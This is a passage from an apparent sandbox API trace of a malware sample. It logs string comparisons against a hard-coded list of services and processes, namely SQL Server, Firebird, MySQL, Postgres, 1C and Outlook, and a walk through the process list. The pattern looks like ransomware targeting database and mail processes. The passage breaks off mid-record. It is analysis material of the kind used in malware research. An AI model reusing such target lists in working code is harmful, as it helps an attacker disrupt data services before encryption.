returned 1 [0035.477] lstrlenW (lpString="MMCSS") returned 5 [0035.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0035.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0035.478] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0035.478] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0035.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0035.478] lstrlenW (lpString="MpsSvc") returned 6 [0035.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0035.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0035.478] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0035.478] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0035.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0035.478] lstrlenW (lpString="Netman") returned 6 [0035.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0035.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0035.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0035.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0035.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0035.478] lstrlenW (lpString="netprofm") returned 8 [0035.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0035.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0035.478] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0035.478] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0035.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0035.478] lstrlenW (lpString="NlaSvc") returned 6 [0035.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0035.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0035.478] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0035.478] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0035.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0035.479] lstrlenW (lpString="nsi") returned 3 [0035.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0035.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0035.479] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0035.479] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0035.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0035.479] lstrlenW (lpString="PcaSvc") returned 6 [0035.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0035.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0035.479] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0035.479] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0035.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0035.479] lstrlenW (lpString="PlugPlay") returned 8 [0035.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0035.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0035.479] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0035.479] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0035.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0035.479] lstrlenW (lpString="Power") returned 5 [0035.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0035.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0035.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0035.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0035.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0035.479] lstrlenW (lpString="ProfSvc") returned 7 [0035.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0035.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0035.479] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0035.479] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0035.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0035.480] lstrlenW (lpString="RpcEptMapper") returned 12 [0035.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.480] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0035.480] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0035.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0035.480] lstrlenW (lpString="RpcSs") returned 5 [0035.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0035.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0035.480] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0035.480] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0035.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0035.480] lstrlenW (lpString="SamSs") returned 5 [0035.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0035.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0035.480] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0035.480] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0035.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0035.480] lstrlenW (lpString="Schedule") returned 8 [0035.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0035.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0035.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0035.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0035.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0035.480] lstrlenW (lpString="SENS") returned 4 [0035.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0035.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0035.480] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0035.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0035.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0035.481] lstrlenW (lpString="ShellHWDetection") returned 16 [0035.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.481] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0035.481] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0035.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0035.481] lstrlenW (lpString="Spooler") returned 7 [0035.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0035.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0035.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0035.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0035.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0035.481] lstrlenW (lpString="sppsvc") returned 6 [0035.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0035.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0035.481] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0035.481] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0035.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0035.481] lstrlenW (lpString="SysMain") returned 7 [0035.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0035.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0035.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0035.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0035.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0035.481] lstrlenW (lpString="Themes") returned 6 [0035.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0035.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0035.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0035.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0035.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0035.482] lstrlenW (lpString="TrkWks") returned 6 [0035.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0035.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0035.482] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0035.482] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0035.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0035.482] lstrlenW (lpString="UxSms") returned 5 [0035.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0035.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0035.482] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0035.482] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0035.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0035.482] lstrlenW (lpString="WdiServiceHost") returned 14 [0035.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0035.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0035.482] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0035.482] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0035.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0035.482] lstrlenW (lpString="WdiSystemHost") returned 13 [0035.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.482] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0035.482] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0035.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0035.482] lstrlenW (lpString="WinDefend") returned 9 [0035.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0035.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0035.483] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0035.483] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0035.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0035.483] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0035.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.483] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0035.483] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0035.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0035.483] lstrlenW (lpString="Winmgmt") returned 7 [0035.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0035.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0035.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0035.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0035.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0035.483] lstrlenW (lpString="wscsvc") returned 6 [0035.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0035.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0035.483] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0035.483] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0035.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0035.483] lstrlenW (lpString="wuauserv") returned 8 [0035.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0035.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0035.483] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0035.483] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0035.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0035.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58e750 | out: hHeap=0x520000) returned 1 [0035.484] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0035.489] Process32FirstW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0035.489] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0035.490] lstrlenW (lpString="System") returned 6 [0035.490] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0035.490] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0035.490] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0035.490] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0035.490] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0035.490] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0035.490] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0035.490] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0035.491] lstrlenW (lpString="smss.exe") returned 8 [0035.491] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0035.491] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0035.491] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0035.491] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0035.491] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0035.491] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0035.491] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0035.491] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.492] lstrlenW (lpString="csrss.exe") returned 9 [0035.492] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0035.493] lstrlenW (lpString="wininit.exe") returned 11 [0035.493] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.493] lstrlenW (lpString="csrss.exe") returned 9 [0035.493] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0035.494] lstrlenW (lpString="winlogon.exe") returned 12 [0035.494] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0035.495] lstrlenW (lpString="services.exe") returned 12 [0035.495] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0035.495] lstrlenW (lpString="lsass.exe") returned 9 [0035.495] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0035.496] lstrlenW (lpString="lsm.exe") returned 7 [0035.496] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.497] lstrlenW (lpString="svchost.exe") returned 11 [0035.497] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.497] lstrlenW (lpString="svchost.exe") returned 11 [0035.497] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.498] lstrlenW (lpString="svchost.exe") returned 11 [0035.498] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.499] lstrlenW (lpString="svchost.exe") returned 11 [0035.499] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.499] lstrlenW (lpString="svchost.exe") returned 11 [0035.499] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0035.500] lstrlenW (lpString="audiodg.exe") returned 11 [0035.500] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.501] lstrlenW (lpString="svchost.exe") returned 11 [0035.501] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.501] lstrlenW (lpString="svchost.exe") returned 11 [0035.501] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0035.502] lstrlenW (lpString="dwm.exe") returned 7 [0035.502] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0035.503] lstrlenW (lpString="explorer.exe") returned 12 [0035.503] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0035.503] lstrlenW (lpString="spoolsv.exe") returned 11 [0035.503] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.504] lstrlenW (lpString="taskhost.exe") returned 12 [0035.504] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.505] lstrlenW (lpString="svchost.exe") returned 11 [0035.505] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0035.505] lstrlenW (lpString="taskeng.exe") returned 11 [0035.505] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.506] lstrlenW (lpString="taskhost.exe") returned 12 [0035.506] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.507] lstrlenW (lpString="svchost.exe") returned 11 [0035.507] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0035.507] lstrlenW (lpString="sppsvc.exe") returned 10 [0035.507] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.508] lstrlenW (lpString="svchost.exe") returned 11 [0035.508] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0035.787] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0035.787] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0035.788] lstrlenW (lpString="smsvhskate.exe") returned 14 [0035.788] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0035.788] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0035.788] Process32NextW (in: hSnapshot=0x118, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0035.789] lstrlenW (lpString="patient 